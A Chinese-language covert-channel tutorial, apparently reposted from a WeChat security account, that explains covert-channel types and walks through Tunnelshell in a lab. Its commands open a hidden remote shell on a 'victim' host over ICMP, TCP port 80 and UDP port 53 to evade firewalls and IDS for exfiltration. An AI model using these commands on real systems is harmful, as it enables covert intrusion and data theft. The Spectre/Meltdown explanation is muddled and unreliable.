目录
-
隐蔽通道类型 -
使用 Tunnelshell 进行隐蔽通道攻击 -
什么是 Tunnelshell -
隐蔽 ICMP 通道 -
隐蔽 HTTP 通道 -
隐蔽 DNS 通道
隐蔽通道是什么?
隐蔽一词的意思是“隐藏或不可检测”,通道是“通信模式”,因此隐蔽通道表示不可检测的通信网络。这使得管理员或用户几乎无法通过秘密通道检测到传输。了解加密通信和隐蔽通信之间的区别非常重要。在隐蔽通信中,数据流被未经授权的一方篡改和持久化。但是,加密通信无法通过加密在两个端点之间传输的数据来隐藏通信的事实。
隐蔽通道类型
存储隐蔽通道:通过修改“存储位置”进行通信,允许一个进程直接或间接地写入存储位置,并允许另一个进程直接或间接地读取该存储位置。
定时隐蔽通道——执行影响接收器“观察到的实际响应时间”的操作。
注意:众所周知的 Spectre 和 Meltdown 使用系统的页面缓存作为窃取数据的隐蔽通道。
Specter 和 Meltdown 攻击的工作原理是诱骗您的计算机缓存特权内存,并通过错误计算的推测执行、乱序执行中缺乏特权检查以及页面缓存的强大功能。一旦访问特权内存,处理器就会缓存信息,并且处理器能够从缓存中检索它,无论它是否是特权信息。
使用 Tunnelshell 进行隐蔽通道攻击
几乎可以使用任何协议来创建隐蔽通道。绝大多数隐蔽通道研究都基于第 3 层(网络)和第 4 层(传输)协议,例如 ICMP、IP 和 TCP。第 7 层(应用程序)协议(例如 HTTP 和 DNS)也经常使用。这种机制用于传递信息而不会引起网络防火墙和 IDS 的警觉,而且 netstat 也无法检测到。
什么是 tunnelshell?
Tunnelshell 是一个用 C 语言编写的程序,适用于 Linux 用户,采用客户端-服务器模式。服务器打开一个 /bin/sh,客户端可以通过虚拟隧道访问。它支持多种协议,包括 TCP、UDP、ICMP 和 RawIP。此外,数据包可以分段以避开防火墙和 IDS。
让我们通过实际来了解更多细节。
要求
服务器(Kali Linux)
客户端(Ubuntu18.04)
您可以从这里下载隐蔽通道工具(Tunnelshell)。
这里,我假设我们已经通过 c2 服务器获得了受害者的机器会话。现在我们需要创建一个隐藏的通信通道以进行数据泄露,因此,在两个端点上都安装 tunnelshell。
下载后,提取文件并进行编译,如下所示:
tar xvfz tunnelshell_2.3.tgz
make
同样,在另一个端点(受害者的机器)重复相同操作,完成后,在终端中执行以下命令,为服务器(攻击者)打开通信通道。
sudo./tunneld
现在要连接 tunnelshell,我们需要在服务器(攻击者的机器)上执行以下命令,这将建立一个用于数据泄露的隐蔽通道。
语法:./tunnel -i <会话 id (0-65535)> -d <发送数据包的延迟> -s <数据包大小> -t <隧道类型> -o <协议> -p <端口> -m <ICMP 查询> -a <ppp 接口> <受害者的 IP>
./tunnel -t frag 10.10.10.2
ps |grep .tunneld
netstat –ano
让我们使用 Wireshark 查看 10.10.10.1(攻击者的 IP)和 10. 10.10.2(受害者的 IP)之间生成的网络流量。两个端点之间的网络流量看起来很普通,但如果监控正确,那么网络管理员可以嗅探数据包。您可以观察到,Wireshark 捕获了隐蔽流量并嗅探了两个端点设备之间传输的数据。
隐蔽 ICMP 通道
我们知道 Ping 是使用 ICMP 通信,使用 icmp echo request 和 icmp echo reply 查询在两个主机之间建立连接,因此执行以下命令:
sudo ./tunneld -t icmp -m echo-reply, echo
现在要连接 tunnelshell,我们需要在服务器(攻击者的机器)上执行以下命令,这将建立一个用于数据泄露的隐蔽通道。
./tunnel -t icmp -m echo-reply,echo 10.10.10.2
您可以观察到,它成功连接到 10.10.10.2,并且攻击者能够访问受害者机器的 shell。
同样,如果您通过 Wireshark 捕获流量,那么您会注意到 ICMP 回应请求和回复数据包正在两个端点之间传输。如果您尝试分析这些数据包,那么您将能够看到哪种有效负载以 ICMP 数据的形式传输。
隐蔽 HTTP 通道
它无需使用三次握手即可建立虚拟 TCP 连接。它不绑定任何端口,因此您可以使用另一个进程已经使用的端口,因此请执行以下命令:
sudo ./tunneld -t tcp -p 80,2000
现在要连接 tunnelshell,我们需要在服务器(攻击者的机器)上执行以下命令,这将建立一个用于数据泄露的隐蔽通道。
./tunnel -t tcp -p 80,2000 10.10.10.2
您可以观察到,它成功连接到 10.10.10.2,并且攻击者再次能够访问受害者机器的 shell。
另一方面,如果您考虑网络流量,那么您会注意到在源和目标之间建立的 TCP 通信没有三次握手。
隐蔽 DNS 通道
为了建立DNS隐蔽通道,我们需要在两个端点机器上运行UDP隧道模式。因此,在受害者的机器上执行以下命令:
sudo ./tunneld -t udp -p 53,2000
类似地,在你的(攻击者)机器上执行以下操作来连接隧道。
./tunnel -t udp -p 53,2000 10.10.10.2
正如您在此处看到的,DNS 格式错误的数据包包含在两个端点机器之间传输的数据。
结论:隐蔽通道在数据泄露时不发送加密数据包,因此很容易被嗅探,网络管理员可以轻松进行数据丢失和风险管理。
欢迎关注“三沐数安”,请分享给更多的网安爱好者,大家一起研究网络安全技术。三沐专注于数据安全建设和网络安全建设,解决您身边的网络安全问题,成为您的安全好帮手
原文始发于微信公众号(三沐数安):不为人知的隐蔽通道:隐藏的网络
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论